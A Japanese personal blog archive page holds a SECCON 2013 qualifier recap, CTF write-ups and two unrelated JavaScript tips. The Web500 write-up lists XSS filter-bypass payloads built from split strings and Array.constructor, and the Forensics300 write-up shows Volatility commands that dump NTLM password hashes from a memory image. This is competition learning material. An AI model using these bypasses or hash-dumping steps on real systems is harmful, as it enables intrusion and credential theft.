2014年 01月の投稿を表示しています

2013 SECCON オンライン予選に参加してました

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

という記事を書いていなかったので書く。

おつかれさまでした。

なんにもなくてぼっちーむになりました。

解いた問題
<1>Forensics: 1,2,3
<2>Programming/Crypt: 1,2
<3>Binary: -
<4>Network/Web: 1,2,3,4,5
<5>Etc: 1,2

開始:<4>2、<5>1
16時:<1>1
18時:<4>3
19時:<4>5(300pt)
0時:<5>2
3時:<2>2
6時:<4>4、<4>1、<2>1
11時:<1>2、<1>3
(多分こんな感じ)

<1>500も<1>300と同じようなノリでいけるとおもいきや、時間切れ。。
と、いうか10時くらいから調べながら環境作って<1>200と<1>300取れたので、
まあ、なんというか、はい。

Write-upはいったん、<1>2、<1>3、<4>5、だけ書きました。


Web500「途中点もらえます」
ぼく「いや入れなくても最後まで出来る見通しあるし500pt入るっしょw」
スコアサーバ「300(ボソッ」
~終了後~
ぼく「点数あわねーWeb500だーどんまいー」


運営のみなさま、楽しいイベントをありがとうございました。
次回があればまた参加したいです。

[SECCON] Web500 箱庭XSS Final

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

出たな箱庭!

なんどか試しているとどうやら入れた文字列([A-Za-z]?)が使えなくなる模様。なるほど。

1回目:"><script>alert("XSS")</script>
2回目:"><script>alert("XSS")</script> //←NG

困りつつ文字列を分解していく作戦にすると、どうやら一文字は除外される模様。

1回目:"><script>alert("X"+"S"+"S")</script>
2回目:"><script>window["ale"+"rt"]("X"+"S"+"S")</script>

ということで。(動く原理はjsfuckとかで調べてください)

"/onfocus=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/ondblclick=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeydown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeypress=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onkeyup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousemove=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousedown=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseover=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseup=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmouseout=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onblur=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onchange=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onselect=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
"/onmousewheel=`[]["p"+"u"+"s"+"h"]["c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"]('a'+'l'+'e'+'r'+'t("'+'X'+'S'+'S")')()`
FLAG: アイ・アム・アラート出したいマン!

終わったあとにもう少し触ってみたら、消されたときの残りがくっついて通るんですねこれ。

"><script>alert("XSS")</script>
"><sscriptcript>aalertlert("XXSSSS")</sscriptcript>

Finalということは次には期待しなくていいんですよね(フラグ)

[SECCON] Forensics200 削除されているファイルの名前は何ですか?

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

いろいろ調べてみると、与えられたファイルはMFTのダンプらしいです。

analyzeMFT.py というのを使いました。
dkovar/analyzeMFT

出力してもらってgrepするだけでいいっぽいです。


$ analyzeMFT.py -f Filesystem003.bin -o list.csv && grep "Inactive" list.csv | grep "/"

が、競技中は出力までで、探すのはLibreOfficeにcsvぶち込んで適当にスクロールして見つけました。


FLAG: SkyhookParser.exe

[SECCON] Forensics300 ログインパスワードを解明せよ

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

Volatilityってのつかいました。
volatility - An advanced memory forensics framework - Google Project Hosting

メモリダンプをVolatilityに食わせます。
既にWindows7 X86とあったのでこんなかんじのコマンドを。


$ python vol.py hivelist -f ../Memorydump2.bin --profile=Win7SP0x86

Volatility Foundation Volatility Framework 2.3.1
Virtual    Physical   Name
---------- ---------- ----
0x9ff5a3c0 0x37fbb3c0 \SystemRoot\System32\Config\SECURITY
0x9ffc03a0 0x30e243a0 \SystemRoot\System32\Config\SAM
0x8f60c568 0x04bbc568 [no name]
0x8f61c008 0x005d2008 \REGISTRY\MACHINE\SYSTEM
0x8f6448d8 0x04b3c8d8 \REGISTRY\MACHINE\HARDWARE
0x90659650 0x199c0650 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x906d8008 0x13200008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x93cf5008 0x38814008 \Device\HarddiskVolume1\Boot\BCD
0x93d479d0 0x388c19d0 \SystemRoot\System32\Config\SOFTWARE
0x989bc008 0x37920008 \SystemRoot\System32\Config\DEFAULT
0x9e6e69d0 0x005469d0 \??\C:\Users\forensics\ntuser.dat
0x9efe5650 0x028aa650 \??\C:\Users\forensics\AppData\Local\Microsoft\Windows\UsrClass.dat

よいですね。
次に、SYSTEMのレジストリとSAMのアドレスを教えてハッシュをダンプするらしいです。


$ python vol.py hashdump -f ../Memorydump2.bin -y 0x8f61c008 -s 0x9ffc03a0 --profile=Win7SP0x86 > hashs.txt
Volatility Foundation Volatility Framework 2.3.1

$ cat hashs.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
forensics:1000:aad3b435b51404eeaad3b435b51404ee:98ffdb1b29e7c88954326cd4011141d8:::

NTLMハッシュになってるので、あとはツールでも探して投げてください。

FLAG: Kani3

追記

この辺りが参考になりました。
http://forensicmethods.com/wp-content/uploads/2012/04/Memory-Forensics-Cheat-Sheet-v1.pdf
http://cyberarms.wordpress.com/2011/11/04/memory-forensics-how-to-pull-passwords-from-a-memory-dump/

document.designMode = “On”;

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

わけあってリッチエディタについてちょろっと調べてみたら、なんと簡単にできるじゃないですか。
キーワードは「document.designMode = "On";」

ここで必要なもの

  • Webブラウザ
    最近のブラウザであればだいたい大丈夫です。
    スマホは未確認です。
  • JSをさっくりと読める程度の力
  • HTMLをさっくりと読める程度の力

おおまかな手順

  1. HTMLを書きます

    <html><body>
        <button onclick="editor.execCommand('undo')">元に戻す</button>
        <button onclick="editor.execCommand('bold')">太字</button>
        <button onclick="editor.execCommand('italic')">斜体</button>
        <iframe></iframe>
        <script>
            editor = document.getElementsByTagName("iframe")[0].contentDocument;
            editor.designMode = "On";
        </script>
    </body></html>
  2. Enjoy!

なるほどわからん

  • <html>
    buttonとiframeがあるだけのHTMLを用意します。
    button:ボタンを表示する
    iframe:フレームを用意して、別のページを表示する。

  • <button>
    1. <button onclick="editor.execCommand('XXXXX')">
      onclickは、クリックされた時の処理を書きます

    2. editor.execCommand
      editor変数に対して、execCommandという関数を呼びます。
      execCommandはdesignMode="On"(あとで説明)のドキュメントに対して使用できます。
      これをつかうと様々な"リッチな機能"を使えます。

  • <script>
    1. document.getElementsByTagName
      現在のドキュメント内に該当するタグを検索する。戻り値は配列

    2. document.getElementsByTagName("iframe")[0]
      iframe要素の0番目、ひとつしか無いからそれを持ってくるはず

    3. document.getElementsByTagName("iframe")[0].contentDocument
      iframe要素の0番目の中身のドキュメントを参照する
      iframe内は、別のWebページみたいな扱いなのでそういうことですね。

    4. editor変数にiframe内のドキュメントを投入しておく
      onclickイベントで簡単に書きたいのでこうします。

    5. editor.designMode = "On";
      documentオブジェクトに対して、designModeプロパティを"On"に設定することで、
      リッチなエディタができちゃいます。

限られた空間だけエディタ化したかったので、iframeを使いました。

おわりに

ボタンを増やして、
execCommandを増やして、
CSSとか書くとよいと思います。

参考

Mozilla におけるリッチテキスト編集 | MDN

「submitで複数の関数を動かしたいんですけどどうやるんですか」

この記事は公開されてから1年以上経過しており、情報が古い可能性があります。

ぼく「うーん?????」
ぼく「あっ(jQueryのsubmitイベントに複数の処理ぶち込みたいんだろうなあ...って普通に書けばいいいと思います!)」

参考:http://api.jquery.com/submit/
要約:$("~~").submit( // ここに関数オブジェクトぶち込む // )

関数オブジェクト is 何:関数オブジェクトは関数オブジェクトや
参考:https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions_and_function_scope
要約:"function A(){}" もしくは "var A = function(){};" などとしたときの "A" の中身がソレ。
つーかfunction構文とかFunctionのインスタンスつくったときに生成できる。
(以下のサンプル見たほうが早いし用語とか解釈に若干不安が...)

まとめるとこんなかんじ

// ex.1
$("#form").submit(function(){
  // 処理A //
  // 処理B //
});
// ex.2
function AAA() {
  // 処理A //
}
function BBB() {
  // 処理B //
}

$("#form").submit(function(){
  AAA();
  BBB();
});
// ex.3
// 複数バインドしたときには、実行順序は多分バインドした順。A->B
$("#form").submit(function(){
  // 処理A //
});
$("#form").submit(function(){
  // 処理B //
});

おしまい